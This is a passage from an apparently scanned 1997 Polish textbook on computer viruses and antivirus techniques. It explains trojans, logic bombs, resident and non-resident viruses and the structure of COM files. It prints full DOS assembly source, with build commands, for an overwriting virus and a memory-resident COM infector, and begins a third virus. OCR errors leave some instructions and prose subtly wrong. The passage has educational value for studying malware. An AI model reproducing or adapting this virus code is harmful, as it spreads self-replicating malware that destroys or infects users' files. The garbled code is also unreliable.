Robak to program, którego działanie sprowadza się do tworzenia własnych duplikatów, tak że nie atakuje on żadnych obiektów, jak to czynią wirusy. Oprócz zajmowania miejsca na dysku program ten rzadko wywołuje skutki uboczne. Podobnie jak wirusy towarzyszące, robaki najczęściej pisane są w językach wysokiego poziomu. Robaki są najbardziej popularne w sieciach, gdzie mają do dyspozycji protokoły transmisji sieciowej, dzięki którym mogą przemieszczać się po całej sieci.


2.7. Konie trojańskie (ang. trojan horses)

Koń trojański nie jest wirusem komputerowym, ale ze względu na swoje działanie (najczęściej destrukcyjne) często bywa z nim utożsamiany.

Zasada działania koma trojańskiego jcst banalnie prosta. Uruchomio-ny, wykonuje niby to normalną prace, bezpośrednio wynikająca , przeznaczenia programu (np.: gra, demo, program użytkowy), lecz dodatkowo, niejako w tle, wykonuje jakies niezauważalne dla użyt-kownika operacje, (najczęściej po prostu niszczy - kasuje lub zamazu-je - dane na dysku twardym).

Konie trojańskie najczęściej przenoszą sie w plikach udających nowe, popularne programy kompresujące (np.: PKZIP, ARJ. RAR) lub też udają programy narzedziowe do obsługi dysków.


2.8. Bomby logiczne (ang. logical bombs)

O ile koń trojański wykonuje brudną robotę od razu po uruchomieniu, o tyle bomba swe destrukcyjne oblicze ukazuje tylko w określonym odpowiednimi warunkami czasie (najczęściej zależnie od aktualnej daty lub liczby poprzednich wywołań programu). Ze względu na to, iż właściwy, destrukcyjny kod może być ukryty w dowolnym miejscu programu zawierającego bombę, należy ostrożnie obchodzić się z aplikacjami, których pochodzenie jest nieznane. Mianem bomby określa się często także destrukcyjny, uruchamiany tylko po spełnieniu jakiegoś warunku, kod zawarty w wirusach.


ROZDZIAŁ 3


3.1. Wirusy nierezydentne (ang. non-resident viruses)

Wirusy nierezydentne są najprostszą odmianą wirusów komputerowych zarażających pliki wykonywalne. Po uruchomieniu nosiciela poszukiwany jest, najczęściej przy pomocy funkcji (4E/4F/21), kolejny obiekt do zarażenia. W przypadku nie znalezienia żadnego kandydata, sterowanie oddawane jest do nosiciela, w przeciwnym razie znaleziony plik jest infekowany. Ofiary poszukiwane są w bieżącym katalogu i/lub w katalogach określonych w zmiennej środowiskowej PATH, i/lub w podkatalogach bieżącego katalogu, i/lub w katalogu głównym. Z reguły wirus taki nie przejmuje żadnego przerwania (ewentualnie na czas infekcji przejmowane jest przerwanie programowe 24h, które jest odpowiedzialne za obsługę błędów krytycznych). Główną wadą wirusów nierezydentnych jest to, iż poszukiwanie ofiar przy starcie programu wiąże się najczęściej z dużym opóźnieniem w uruchomieniu właściwego programu oraz łatwo zauważalną przez użytkownika wzmożoną aktywnością przeszukiwanego nośnika. Drugim poważnym mankamentem jest to, iż zarażają one tylko i wyłącznie po uruchomieniu nosiciela, a więc nie mogą efektywnie infekować plików ani też skutecznie maskować swej obecności w7 systemie, tak jak czynią to wirusy rezydentne. Wirusy nierezydentne są najczęściej wypuszczane przez oszołomionych pierwszym sukcesem, początkujących twórców^ wirusów. O tym, jak prosto napisać najprymitywniejszą wersję wirusa nierezydentnego, niech świadczy poniższa krótka sekwencja napisana w asemblerze. Po skompilowaniu otrzymujemy program, który po uruchomieniu szuka przy pomocy funkcji (4E/21) pierwszego pliku o rozszerzeniu COM w aktualnym katalogu i po ewentualnym jego znalezieniu przepisuje swój kod na początek ofiary. Wirus ten jest bardzo prymitywny w swym działaniu, gdyż nieodwracalnie niszczy zarażany przez siebie plik (jest to wirus

nadpisujący), a także nie posiada żadnej obsługi błędów (w przypadku nieznalezienia ofiary wirus "zainfekuje"... ekran). Jego wykrycie to kwestia bardzo krótkiego czasu (programy COM przestaną "nagle" działać).


;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

; PRYMITYW v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Prymitywny wirus nierezydentny nadpisujacy, ;

; atakujacy i niszczacy pierwszy znaleziony ;

; w katalogu plik COM ;

; Kompilacja : ;

; TASM PRYMITYW.ASM ;

; TLINK /t PRYMITYW.OBJ ;

; ;

;----------------------------------------------------------------------------;


PRYMITYW SEGMENT

ASSUME CS: PRYMITYW, DS:PRYMITYW


ORG 100h

WirDlug = Offset (WirKoniec-WirStart)

; WirDlug okresla dlugosc calego kodu wirusa


WirStart:


mov cx,20h ; atrybut poszukiwanej pozycji katalogu (Archive)

mov dx,Offset PlikiCOM ; szukaj plikow *.COM

mov ah,4Fh ; funkcja DOS - szukaj pozycji w katalogu

int 21h ; wywolaj funkcje


mov ax,3D02h ; funkcja DOS - otworz plik do odczytu i zapisu

mov dx,9Fh ; nazwa znalezionego pliku w buforze DTA

; znajdujacym sie pod adresem CS:80h

int 21h ; wywolaj funkcje


xchg ax,bx ; przenies uchwyt pliku z AX do BX


mov cx,WirDlug ; podaj ile bajtow zapisac

mov dx,100h ; zapisuj spod adresu CS:100h

mov ah,30h ; funkcja DOS - zapisz do pliku

int 21h ; wywolaj funkcje


ret ; rownoznaczne z wykonaniem Int 20h


PlikiCOM db '*.COM' ; maska dla poszukiwanych pozycji w katalogu


WirKoniec:


PRYMITYW ENDS

END WirStart



3.2. Wirusy rezydentne (ang. resident viruses)

Autorzy wirusów szybko zorientowali się, że działające tylko po uruchomieniu nosiciela wirusy nierezydentne mają dość ograniczone pole manewru, stąd też poszukiwali Jakiegoś mechanizmu, który pozwalałby na nieprzerwane monitorowanie systemu operacyjnego. Z pomocą przyszli im nieświadomie sami autorzy systemu DOS, implementując w typowo jednozadaniowym środowisku mechanizm sztucznej wielozadaniowości. Zasada działania wirusów rezyden-tnych polega bowiem na zainstalowaniu się w pamięci operacyjnej komputera i przejęciu odpowiednich odwołań do systemu w sposób podobny do tego, w jaki czynią to programy typu TSR (ang. Terminate but Stay Resident). W zasadzie typowy wirus rezydentny to program TSR, który po zainstalowaniu ukrywa swój kod przed programami przeglądającymi pamięć. Aktywny i jednocześnie ukryty w pamięci, ma o wiele szersze pole manewru niż wirusy nierezydentne. Monitorowanie odpowiednich funkcji DOS i BIOS pozwala mu bowiem przy każdej dowolnej próbie dostępu na infekcję plików lub sektorów. Możliwe staje się także zastosowanie techniki zaawansowanego ukrywania się w systemie (tzw. technika stealth, omówiona w dalszej części opracowania). Zawładnięcia systemem dokonuje się poprzez przejęcie odpowiednich przerwań sprzętowych i funkcji obsługiwanych przez ogólnie dostępne przerwania programowe.

Ze względu na szybkość mnożenia się wirusy rezydentne dzieła się na szybkie intektory i wolne infektory. Poniżej przedstawiono przykład prostego wirusa rezydentnego, infekującego pliki COM podczas ich uruchamiania.


;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

; KOMBAJN v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Prosty wirus rezydentny plikow COM ;

; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;

; Przejmuje przerwanie 21h ;

; Przejmuje przerwanie 24h na czas infekcji ;

; ;

; Kompilacja : ;

; TASM KOMBAJN.ASM ;

; TLINK /t KOMBAJN.OB J ;

; ;

;----------------------------------------------------------------------------;

JUMPS

KOMBAJN SEGMENT

ASSUME CS:KOMBAJN, DS:KOMBAJN

ORG 100h


Haslo = 0BACAh ; \ do sprawdzenia, czy wirus jest

Odpowiedz = 0CABAh ; / juz zainstalowany w pamieci


NUL = 00h ; \

LF = 0Ah ; - stale znakow

CR = 0Dh ; /


AtrReadOnly = 00000001b ; \

AtrHidden = 00000010b ; \

AtrSystem = 00000100b ; \ rozne stale atrybutow

AtrVolumeID = 00001000b ; / pozycji katalogu

AtrDirectory = 00010000b ; /

AtrArchive = 00100000b ; /


VRok = 1998 ; \ data opisujaca

VMiesiac = 13 ; - pliki juz zainfekowane

VDzien = 31 ; /


VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien


DlugoscWirusa = (Offset KoniecWirusa-Offset PoczatekWirusa)

DlugoscWPamieci = (DlugoscWirusa +31)/16


Start: ; poczatek wirusa


PoczatekWirusa: ; pomocnicza etykieta


Call Trik ; zapisz na stosie relatywny ofset

Trik:


pop si ; zdejmij ze stosu relatywny ofset

sub si,103h ; oblicz ofset do poczatku wirusa


mov ax,Haslo ; \ sprawdz, czy wirus jest

int 21h ; / juz w pamieci


cmp ax,Odpowiedz ; \ czy kopia wirusa odpowiedziala ?

jne InstalacjaWPamieci ; / NIE - zainstaluj

; TAK - wypisz komunikat

lea di,TeBylZainstalowany ; /

call DrukSI ; /

jmp PowrocDoNosiciela ; i powroc do nosiciela


InstalacjaWPamieci: ; poczatek instalacji


lea di,TeCopyRight ; \ wyswietl info o wirusie

Call DrukSI ; /


lea di,TeInstalacja ; \ zapytaj uzytkownika, czy chce

Call DrukSI ; \ zainstalowac wirusa w pamieci

Call Decyzja ; /

jc PowrocDoNosiciela ; / CF=1 - uzytkownik nie chce instalowac


mov ax,3521h ; funkcja DOS - wez adres INT 21

int 21h ; wywolaj funkcje


mov [si][Stare21Seg],es ; \ zachowaj adres (wirus bedzie go

mov [si][Stare21Ofs],bx ; / uzywal)


mov ax,ds ; przywroc ES

mov es,ax ; AX=ES=DS=CS=SS=PSP


dec ax ; AX=ES-1=MCB do aktualnego bloku

mov ds,ax ; DS=blok MCB

mov bx,word ptr ds:[0003h] ; wez dlugosc aktualnego bloku

sub bx,DlugoscWPamieci+1 ; zmniejsz go o dlugosc wirusa


mov ah,4Ah ; funkcja DOS - zmien rozmiar bloku pamieci

int 21h ; wywolaj funkcje


mov bx,DlugoscWPamieci ; podaj dlugosc wymaganego bloku pamieci

mov ah,48h ; funkcja DOS - przydzial bloku

int 21h ; wywolaj funkcje

jc PowrocDoNosiciela ; CF=1 - nie udalo sie przydzielic


mov es,ax ; ES=wskazuje na przydzielony blok

xor di,di ; ES:DI - dokad skopiwoac

cld ; zwiekszaj SI, DI w REP MOVSB


push si ; SI bedzie zmieniany, wiec zachowaj

add si,offset PoczatekWirusa ; dodaj ofset : skad kopiowac

mov cx,DlugoscWirusa ; cx=ile bajtow kopiowac

rep movs byte ptr es:[di], cs:[si] ; kopiuj z CS:SI do ES:DI, CX bajtow

pop si ; przywroc relatywny ofset


mov ax,es ; pobierz adres do MCB opisujacego

dec ax ; blok, w ktorym jest wirus

mov ds,ax ; DS=MCB wirusa

mov word ptr ds:[0001h],0008h ; ustaw MCB wirusa, jako systemowy

sub ax,0Fh ; \ DS=adres bloku-10h

mov ds,ax ; \ sztuczka, dzieki ktorej mozna

; / odwolywac sie do danych jak w

; / zwyklym programie COM (ORG 100h)


mov dx,Offset NoweInt21 ; DX=adres do nowej procedury INT 21h

mov ax,25FFh ; funkcja DOS - ustaw adres INT 21

int 21h ; wywolaj funkcje


push cs ; \ wyswietl komunikat o

pop ds ; \ instalacji w pamieci

lea di,TeZainstalowany ; \ i segment, w ktorym

Call DrukSI ; / rezyduje wirus

mov ax,es ; /

Call DrukHEX16 ; /


PowrocDoNosiciela: ;

push cs cs ; \ przywroc DS=ES=CS=PSP

pop ds es ; /


mov al,byte ptr [si][StareBajty] ; \ przywroc 3 poczatkowe bajty

mov ds:[100h],al ; \ programu pod adresem CS:100h

mov ax,word ptr [si][StareBajty+1] ; /

mov ds:[101h],ax ; /


mov ax,100h ; \ zachowaj na stosie slad do

push ax ; / adresu 100h


xor ax,ax ; \ dla bezpieczenstwa

xor bx,bx ; \ lepiej wyzerowac rejestry

xor cx,cx ; \ robocze

xor dx,dx ; /

xor si,si ; /

xor di,di ; /


ret ; powroc do nosiciela


PytanieOInstalacje: ; \ odpowiedz rezydujacego

xchg al,ah ; - wirusa na pytanie, czy jest

iret ; / w pamieci


NoweInt21:

cmp ax,4B00h ; czy funkcja DOS - uruchom program ?

je InfekcjaPliku ; TAK - sprobuj infekowac

cmp ax,Haslo ; czy pytanie wirusa o instalacje ?

je PytanieOInstalacje ; TAK - odpowiedz ze zainstalowany


jmp PowrotZInt21 ; idz do poprzedniego lancucha

; przerwan


InfekcjaPliku:

push es ds ax bx cx dx si di ; zachowaj zmieniane rejestry


mov cs:StaryDS, ds ; \ zachowaj adres do nazwy pliku

mov cs:StaryDX, dx ; /


mov ax,3524h ; \ pobierz stara i ustaw

Call StareInt21 ; \ nowa procedure obslugi

mov cs:Stare24Seg,es ; \ przerwania krytycznego

mov cs:Stare24Ofs,bx ; \ INT 24h w celu ochrony

; \ przed ewentulanymi bledami

push cs ; / (np; podczas proby zapisu

pop ds ; / na zabezpieczonej przed

lea dx,NoweInt24 ; / zapisem dyskietce, nie

mov ax,2524h ; / zostanie wywolany dialog

Call StareInt21 ; / ARIF)


mov ds,cs:StaryDS ; DS=wskazuje na nazwe pliku

mov dx,cs:StaryDX ; podaj nazwe pliku

mov ax,4300h ; funkcja DOS - czytaj atrybut

Call StareInt21 ; wywolaj stare przerwanie 21h

jc PrzywrocAtrybut ; gdy CF=1, to blad, wiec powrot


mov cs:Atrybut,cl ; wez stary atrybut


mov ax,4301h ; funkcja DOS - zapisz atrybut

mov cx,AtrArchive ; podaj nowy atrybut : Archive

Call StareInt21 ; wywolaj stare przerwanie 21h

jc PrzywrocAtrybut


mov ax,3D02h ; funkcja DOS - otworz plik

; do odczytu i zapisu

Call StareInt21 ; wywolaj stare przerwanie 21h

jc PrzywrocAtrybut ; gdy CF=1, to blad


xchg ax,bx ; przenies uchwyt pliku do BX


mov ax,5700h ; funkcja DOS - wpisz date, czas

Call StareInt21 ; wywolaj stare przerwanie 21h

mov cs:Czas,cx ; zachowaj czas pliku na pozniej


cmp dx,VZnacznik ; czy plik jest juz zainfekowany ?

je ZamknijPlik ; TAK - zamknij plik, powrot


push cs ; \ DS=CS=segment wirusa

pop ds ; /


mov cx,3 ; ilosc czytanych bajtow

lea dx,StareBajty ; podaj dokad czytac 3 bajty

mov ah,3Fh ; funkcja DOS - czytaj z pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1, to blad


mov ax,word ptr [StareBajty] ; wez dwa pierwsze bajty pliku

cmp ax,'MZ' ; i sprawdz, czy to nie EXE

je ZamknijPlik ; gdy "MZ", to plik EXE, powrot

cmp ax,'ZM' ;

je ZamknijPlik ; gdy "ZM", to plik EXE, powrot


xor cx,cx ; \ zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem konca pliku

mov ax,4202h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na koniec pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1, to blad


; DX=starsza czesc dlugosci pliku

or dx,dx ; czy plik krotszy niz 65536 ?

jnz ZamknijPlik ; nie - nie infekuj


cmp ax,64000 ; czy dlugosc <= 64000 ?

jmp ZamknijPlik ; nie - nie infekuj


cmp ax,3 ; czy dlugosc >= 3 ?

jb ZamknijPlik ; nie - nie infekuj


sub ax,3 ; odejmij dlugosc skoku E9 ?? ??

mov word ptr [Skok+1],ax ; zapisz do bufora rozkaz skoku


lea di,TeZnalazlemPlik ; \ zapytaj uzytkownika

Call Druk ; \ czy chce zainfekowac

; \ plik

mov di,cs:StaryDX ; \ (nazwa pliku jest

mov ds,cs:StaryDS ; \ wyswietlana)

Call Druk ; \

; - (dzieki temu uzytkownik

push cs ; / ma pelna kontrole nad

pop ds ; / tym, co wirus infekuje)

lea di,TeInfekcja ; /

Call Druk ; /

Call Decyzja ; /

jc ZamknijPlik ; / gdy CF=1, uzytkownik nie pozwala


mov cx,DlugoscWirusa ; ilosc zapisywanych bajtow

mov dx,100h ; podaj skad zapisac wirusa

mov ah,30h ; funkcja DOS - zapisz do pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1, to blad


xor cx,cx ; \ zeruj CX:DX zawierajace

xor dx,dx ; / adres wzgledem poczatku pliku

mov ax,4200h ; funkcja DOS - zmien wskaznik

; odczytu/zapisu na poczatek pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1, to blad


mov cx,3 ; ilosc zapisywanych bajtow

lea dx,Skok ; podaj skad zapisac rozkaz skoku

mov ah,30h ; funkcja DOS - zapisz do pliku

Call StareInt21 ; wywolaj stare przerwanie 21h

jc ZamknijPlik ; gdy CF=1, to blad


mov cx,Czas ; przywroc czas

mov dx,VZnacznik ; zaznacz w dacie infekcje pliku

mov ax,5701h ; funkcja DOS - wpisz date, czas

Call StareInt21 ; wywolaj stare przerwanie 21h


ZamknijPlik:

mov ah,3Eh ; funkcja DOS - zamknij plik

Call StareInt21 ; wywolaj stare przerwanie 21h


PrzywrocAtrybut:

mov cl,cs:Atrybut ; podaj stary atrybut

mov ch,0 ; CX=CL

mov dx,cs:StaryDX ; podaj nazwe pliku do zmiany

mov ds,cs:StaryDS ; w DS:DX

mov ax,4301h ; funkcja DOS - zmien atrybut

Call StareInt21 ; wywolaj stare przerwanie 21h


lds dx,dword ptr cs:Stare24Ofs ; \ przywroc stare przerwanie

mov ax,2524h ; - INT 24

Call StareInt21 ; /


pop di si dx cx bx ax ds es ; przywroc zmieniane rejestry


PowrotZInt21:

db 0EAh ; mnemonik rozkazu skoku JMP FAR

Stare21Ofs dw ? ; (z tych pol korzysta skok

Stare21Seg dw ? ; aby oddac sterowanie do poprzedniego

; elementu lancucha przerwan INT 21)


StareInt21:

pushf ; \ symuluj wywolanie przerwania

Call dword ptr cs:[Stare21Ofs] ; / wywolaj stare przerwanie


ret ; powroc z wywolania



DrukSI: ; procedura wyswietla tekst z

; CS:[DI+SI]

add di,si ; tekst w DI, dodaj SI

Druk: ; procedura wyswietla tekst z

; CS:[DI]

push ax di ; zachowaj zmieniane rejestry


DrukPetla:

mov al,[di] ; pobierz znak

or al,al ; czy koniec tekstu (znak=NUL) ?

jz DrukPowrot ; TAK - kocz pisanie


mov ah,0Eh ; funkcja BIOS - wyswietl znak

int 10h ; wywolaj funkcje


inc di ; zwieksz indeks (na nastepny znak)


jmp short DrukPetla ; idz po nastepny znak


DrukPowrot:

pop di ax ; przywroc zmieniane rejestry


ret ; powrot


DrukHEX16: ; drukuje liczbe heksalna z AX

push ax ; zachowaj AX (dokladniej AL)

mov al,ah ; najpierw starsza czesc

Call DrukHex8 ; wyswietl AH

pop ax ; przywroc AX (dokladniej AL)

; i wyswietl AL

DrukHex8: ; drukuje liczbe heksalna z AL

push ax ; zachowaj AX (dokladniej 4 bity AL)

shr al,1 ; \

shr al,1 ; \ podziel AL przez 16,

shr al,1 ; / czyli wez 4 starsze bity AL

shr al,1 ; /

Call DrukHex4 ; i wydrukuj czesc liczby szesnastkowej

pop ax ; przywroc AX (dokladniej 4 bity AL)

and al,15 ; wez 4 mlodsze bity AL

; i wydrukuj czesc liczby szesnastkowej

DrukHex4:

cmp al,10 ; \ konwersja liczby binarnej

jb Cyfra09 ; \ na znak

add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh na

Cyfra09: ; / '0'..'9', 'A'..'F'

add al,'0' ; /


mov ah,0Eh ; funkcja BIOS - wyswietl znak

int 10h ; wywolaj funkcje


ret ; powrot


Decyzja: ; \ pobiera z klawiatury

mov ah,0h ; \ znak i sprawdza, czy jest

int 16h ; \ to litera 'T'lub 't'

and al,0DFh ; \ jezeli tak, ustawia CF=0

cmp al,'T' ; \ jezeli nie, ustawia CF=1

clc ; /

je DecyzjaTak ; /

stc ; /

DecyzjaTak: ; /

ret ; /


NoweInt24: ;

mov al,3 ; sygnalizuj CF=1, gdy dowolny blad

; nie wywoluj ARIF

iret ; powrot z przerwania


TeCopyRight db CR,LF,'KOMBAJN v1.0, Autor : Adam Blaszczyk 1997'

db CR,LF,NUL

TeInstalacja db CR,LF,'_ Zainstalowac KOMBAJNA w pamieci operacyjnej (T/N) ?',NUL

TeBylZainstalowany db CR,LF,'_ KOMBAJN jest juz w pamieci !',NUL

TeZainstalowany db CR,LF,'_ KOMBAJN zostal zainstalowany w segmencie : ',NUL

TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : "',NUL

TeInfekcja db '"',CR,LF,' Czy chcesz sprobowac zainfekowac go KOMBAJNEM (T/N) ?',NUL


StareBajty db 0CDh,20h,90h

Skok db 0E9h

KoniecWirusa:

all:

Skok2 dw ?

StaryDS dw ?

StaryDX dw ?

Atrybut db ?

Czas dw ?

Stare24Ofs dw ?

Stare24Seg dw ?


KOMBAJN ends

end start


3.2.1. Szybkie infektory (ang.fast infectors)

Szybkie infektory przejmują wszystkie możliwe funkcje systemu DOS, używane do obsługi plików i zarażają wszystko, co się da, w maksymalnie krótkim czasie, co powoduje, iż po okresie bardzo szybkiej ekspansji wirusa w danym systemie następuje jego pasywacja, gdyż wirus nie może znaleźć kolejnej ofiary do zarażenia. Często pierwszą czynnością wykonywaną przez wirusa jest zniszczenie w pamięci kodu zamazywalnej części interpretatora poleceń, co sprawia, że przy następnym wywołaniu jakiegokolwiek polecenia z poziomu DOS plik zawierający interpretator poleceń (czyli najczęściej COMMAND.COM) zostanie ponownie uruchomiony i w efekcie natychmiast zainfekowany.

Duża aktywność szybkiego infektora będzie na pewno łatwo zauważalna dla użytkownika - nawet tego, który słabo zna system. Użycie najlepszych nawet technik stealth (dość często stosowanych przez tego typu wirusy) także się nie sprawdzi, zwłaszcza gdy użytkownik wykonuje dużo operacji dyskowych.

3.2.2. Wolne infektory (ang. slow infectors)

Wirusy tego typu są bardziej wyrafinowane niż szybkie infektory. Ich głównym celem nie jest maksymalnie szybka ekspansja w systemie, lecz raczej jak najdłuższe przetrwanie. Wirusy te używają najczęściej wolnych, kilkustopniowych, zmiennych procedur szyfrujących i techniki stealth. Infekują najczęściej tylko takie obiekty, które modyfikuje lub tworzy użytkownik, a więc nawet w przypadku sygnalizowania jakiejś niebezpiecznej operacji przez ewentualny program antywirusowy użytkownik będzie przekonany, iż potwierdza wykonywane przez siebie czynności.

Są to wirusy bardzo trudne do wykrycia i usunięcia, nawet przez bardzo zaawansowane programy antywirusowe.


ROZDZIAŁ 4


4.1. Pliki

Jedną z najczęściej wykorzystywanych dróg, jaką przenoszą się wirusy. są pliki. Na samym początku były to tylko pliki wykonywalne COM, a potem EXE. Z czasem jednak liczba różnorodnych plików branych pod uwagę przez twórców wirusów wzrosła. Można powiedzieć, iż w kręgu zainteresowań ludzi piszących wirusy są wszystkie pliki, które posiadają w swym wnętrzu struktury zawierające instrukcje sterujące oraz funkcje operujące na plikach i/lub sektorach. Mogą to więc być pliki wykonywalne (COM, EXE), wsadowe (BAT), pliki zawierające sterowniki (SYS, BIN, DRV), pliki z modułami wykonywalnymi (OBJ, LIB, DLL, OV?, BGI, TPU, 386, VXD i inne), a także pliki programów, udostępniające użytkownikom definiowanie makr (DOC, XLS, SAM). Spotykane są także wirusy nietypowe, np. atakujące programy napisane w asembłerze (ASM). Rodzaj pliku rozstrzygany jest najczęściej na podstawie jego wewnętrznej budowy, tak więc w większości przypadków zmiana rozszerzenia pliku nie pozwala na uchronienie go przed infekcją. Wewnętrzna struktura najczęściej zarażanych plików oraz sposoby ich infekcji omówione zostały poniżej. W rozdziale opisującym infekcję plików COM zawarto dodatkowo informacje na temat struktur tworzonych przez DOS podczas uruchamiania programów (blok wstępny programu, otoczenie programu).

4.1.1. Pliki wykonywalne COM

Ze względu na swą prostą budowę programy typu COM od początku stanowiły smakowity kąsek dla twórców wirusów. Zawierają one kod programu w tzw. postaci absolutnej, dlatego też ich ładowanie do pamięci polega na wczytaniu zawartości pliku pod adres znajdujący się bezpośrednio po tworzonym dla każdego procesu bloku wstępnym PSP i wykonaniu dalekiego skoku na początek programu,

a więc ich obraz w pamięci jest wierną kopią zawartości pliku. Wygląd programu COM po załadowaniu do pamięci przedstawia poniższa tabela.


Wygląd programu COM po załadowaniu do pamięci:

Adres (względem segmentu), do którego został załadowany plik COM

Zawartość pamięci


CS:0000-CS:0100

Blok wstępny PSP (patrz następna tabela)

CS:0000-CS:????

Kod programu załadowany z pliku


Format bloku wstępnego programu PSP

Adres w pamięci

Zawartość

00-01

Kod rozkazu int 21 h (CD 21)

02-03

Adres segmentu pamięci niedostępnej dla programu

04

Nie używane przez DOS, używane wewnętrznie przez OS/2

05-09

Dalekie odwołanie do systemu DOS (rozkaz wywołania dalekiej procedury)

06-07

Rozmiar dostępnej pamięci w segmencie

0A-0D

Zapamiętywany adres zakończenia programu (int 22h)

0E-11

Adres programu obsługi CTRL-BREAK (int 23h)

12-15

Adres programu obsługi błędów krytycznych (int 24h)

16-17

Adres do segmentu pamięci, gdzie znajduje się blok PSP

programu rodzicielskiego (interpretator poleceń modyfikuje to pole i wstawia tam adres swojego PSP)

18-2B

Tablica plików obsługiwanych przez proces JFT (ang. Job File Table); każdy element tablicy zawiera indeks wskazujący na element SFT (ang. System File Table) opisujący wszystkie otwarte w systemie pliki lub też wartość FF, jeżeli element nie jest używany

2C-2D

Adres segmentu pamięci, w którym znajduje się otoczenie programu, zawierające definicje zmiennych środowiskowych systemu DOS, takich jak PATH, PROMPT Ud. Każdy element otoczenia oddzielany jest znakiem NUL (kod 00); funkcja 4B rozszerza otoczenie programu poprzez dodanie jednego słowa określającego ilość dodatkowych łańcuchów ASCIIZ (zwykle 0001), a następnie umieszcza dalej nazwę uruchamianego programu. Umożliwia to procesowi dotarcie do pliku na dysku zawierającego kod uruchomionego programu - jest to parametr paramstr(0) w Pascalu i argv[0] w C.

2E-31

Zapamiętane wartości SS:SP (używane podczas wywoływania funkcji DOS) aktualnego procesu; DOS zapamiętuje je przed przełączeniem się na własny stos

32-33

Liczba elementów tablicy JFT (standardowo =20)

34-37

Daleki wskaźnik do tablicy plików JFT (standardowo CS:18) umożliwia rozszerzenie ilości plików wykorzystywanych przez proces

38-3B

Daleki wskaźnik do poprzedniego bloku wstępnego PSP

3C-4F

Pola wykorzystywane wewnętrznie przez różne systemy operacyjne

50-52

Kod rozkazów: INT 21 h RETF

53-54

Nie używane

55-5B

Nie używane, można użyć, aby zmienić standardowy blok FCB na rozszerzony blok FCB

5C-6B

Standardowy blok opisu pliku FCB1

6C-7B

Standardowy blok opisu pliku FCB2

7C-7F

Nie używane

80-FF

Bufor transmisji dyskowych DTA. Bezpośrednio po

uruchomieniu programu zawiera jego wiersz wejściowy, zawierający parametry podane z linii poleceń, zakończony znakiem CR (0D). Bajt pod adresem 80 określa długość wiersza wejściowego nie uwzględniając znaku CR.


Przekazując sterowanie do programu COM system DOS inicjuje kilka rejestrów ustalonymi wartościami. Rejestry segmentowe CS, DS, SS, ES wskazują na adres bloku PSP programu, IP=100h, SP wskazuje na koniec pamięci dostępnej w segmencie (zwykle FFFE), na stosie umieszczana jest wartość 0000.

Sposób infekcji plików COM jest bardzo prosty. Na końcu zarażanego pliku należy dopisać kod wirusa, a na początku pliku, po uprzednim zapamiętaniu oryginalnych bajtów, umieścić rozkaz przenoszący sterowanie do wirusa (najczęściej jest to 3-bajtowy rozkaz JMP NEAR, posiadający kod maszynowy OE9h 00 00, gdzie 00 00 jest wartością dodawaną do wskaźnika instrukcji IP po wykonaniu rozkazu). Po uruchomieniu sterowanie zostaje przekazane najpierw do wirusa, a ten z kolei, po wykonaniu odpowiednich czynności, przywraca początkowe bajty programu i wykonuje skok pod adres CS:0100h.

Nie jest to jedyna metoda zarażania plików COM. Niektóre wirusy przesuwają w pliku kod oryginalnego programu, a w tak powstałe miejsce wpisują swój kod. Ze względu na większą ilość operacji, jakie muszą wykonać, aby zainfekować plik, są dość łatwo wykrywane, gdyż znacząco opóźniają wykonanie oryginalnych programów.

Jeszcze inna metoda polega na umieszczeniu kodu wirusa w dowolnym miejscu infekowanego pliku, jednak ze względu na trudności implementacyjne jest ona rzadko stosowana.

Infekując pliki COM należy pamiętać, iż programy tego typu mogą mieć długość nie większą niż 64kB-100h-2 bajty. Odejmowana wartość 100h jest długością bloku PSP, tworzonego na początku segmentu, do którego ładowany jest program., a wartość 2 wynika z faktu umieszczenia przed startem programu wartości 0000h na stosie. Po wczytaniu programu przez DOS wskaźnik stosu (SP) programu ustawiany jest na końcu segmentu, do którego został on załadowany, stąd też za maksymalną długość, której nie może przekroczyć plik, należy przyjąć wartość mniejszą od 65278, np. 65000 bajtów lub nawet mniej. Nieuwzględnienie powyższego faktu spowoduje, iż po załadowaniu zbyt długiego pliku COM niszczona będzie część programu znajdująca się przy końcu segmentu (przez wartości zapisywane na stosie).

W tablicach poniżej przedstawiono wygląd programu COM przed i po zarażeniu wirusem.

Struktura niezainfekowanego pliku COM

Zawartość pliku

Kod programu w tzw. postaci absolutnej


Struktura zainfekowanego pliku COM - wirus dopisuje się na końcu pliku

Zawartość pliku

Rozkaz skoku do wirusa (najczęściej jest to rozkaz o kodzie OE9h 00 00, czyli JMP NEAR)

Kod zainfekowanego programu

Kod wirusa wraz z zapamiętanymi bajtami początkowymi


Struktura zainfekowanego pliku COM -wirus przesuwa kod oryginalnego programu

Zawartość pliku

Kod wirusa

Przesunięty kod zainfekowanego programu

Poniżej przedstawiono przykład prostego, nierezydentncgo wirusa infekującego pliki COM.



;----------------------------------------------------------------------------;

; ;

; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;

; ;

; KOMORKA v1.0, Autor : Adam Blaszczyk 1997 ;

; ;

; Prosty wirus nierezydentny plikow COM ;

; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;

; znajdujace sie w biezacym katalogu ;

; ;

; Kompilacja : ;

; TASM KOMORKA.ASM ;

; TLINK /t KOMORKA.OBJ ;

; ;

;----------------------------------------------------------------------------;

KOMORKA SEGMENT

JUMPS

ASSUME CS:KOMORKA, DS:KOMORKA


ORG 100h


NUL = 00h ; \

LF = 0Ah ; \ stale znakow

CR = 0Dh ; / ASCII

DOLAR = '$' ; /


AtrReadOnly = 00000001b ; \

AtrHidden = 00000010b ; \

